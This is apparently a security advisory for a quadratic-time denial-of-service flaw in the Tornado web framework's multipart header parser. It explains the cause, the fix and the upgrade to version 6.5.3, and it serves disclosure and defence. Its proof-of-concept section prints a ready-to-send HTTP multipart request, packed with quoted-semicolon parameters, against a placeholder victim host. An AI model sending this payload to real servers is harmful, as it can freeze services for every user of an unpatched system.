high · 7.5CVE-2025-67726Jul 20, 2026

CVE-2025-67726: Tornado Quadratic DoS via Crafted Multipart Parameters

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Sending a single HTTP multipart request with many parameters containing quoted semicolons can pin Tornado's CPU at 100% and freeze the entire server, because the header parser does redundant work…

Packagetornado
Ecosystempip
Affected< 6.5.3
Fixed in6.5.3

The problem

The _parseparam function in tornado/httputil.py parses Content-Disposition and other header values for multipart requests. On every loop iteration it rescanned the full string from position 0 using s.count('"', 0, end) to count unescaped quotes, giving O(n²) time complexity.

Tornado runs on a single event loop, so one slow parse blocks all other connections. An unauthenticated attacker can trigger a sustained CPU spike and full server unresponsiveness with a single crafted request.

Proof of concept

A working proof-of-concept for CVE-2025-67726 in tornado, with the exact payload below.

http
POST /upload HTTP/1.1
Host: victim.example.com
Content-Type: multipart/form-data; boundary=X

--X
Content-Disposition: form-data; p0=";"; p1=";"; p2=";"; p3=";"; p4=";"; p5=";"; p6=";"; p7=";"; p8=";"; p9=";"; p10=";"; p11=";"; p12=";"; p13=";"; p14=";"; p15=";"; p16=";"; p17=";"; p18=";"; p19=";"; p20=";"; p21=";"; p22=";"; p23=";"; p24=";"; p25=";"; p26=";"; p27=";"; p28=";"; p29=";"; p30=";"; p31=";"; p32=";"; p33=";"; p34=";"; p35=";"; p36=";"; p37=";"; p38=";"; p39=";"; p40=";"; p41=";"; p42=";"; p43=";"; p44=";"; p45=";"; p46=";"; p47=";"; p48=";"; p49=";"

--X--

The root cause is in the old _parseparam loop: for each semicolon found, it called s.count('"', 0, end) starting from index 0, so the cost of scanning quotes was proportional to the total string length processed so far. With n parameters each holding a quoted semicolon value like p=";", total work is O(n²).

The patch (commit 771472c, adapting CPython PR 136072) replaces the from-zero rescan with an incremental counter. A variable ind tracks the last scanned position, and diff accumulates the quote count across segments, so each byte is visited at most once, reducing the whole parse to O(n).

This is CWE-834 (Excessive Iteration) / CWE-400 (Uncontrolled Resource Consumption). No public PoC script was published; the payload above is derived directly from the patch diff, which shows the triggering input is quoted semicolons (e.g., param=";"), repeated at scale.

The fix

Upgrade tornado to **6.5.3** or later (pip install --upgrade tornado). The patched _parseparam processes each character at most once, eliminating the quadratic blowup. No configuration workaround exists for earlier versions because the vulnerable code path is always reachable via any multipart upload endpoint.

Reported by Finder16.

References: [1][2][3][4][5][6]

Related research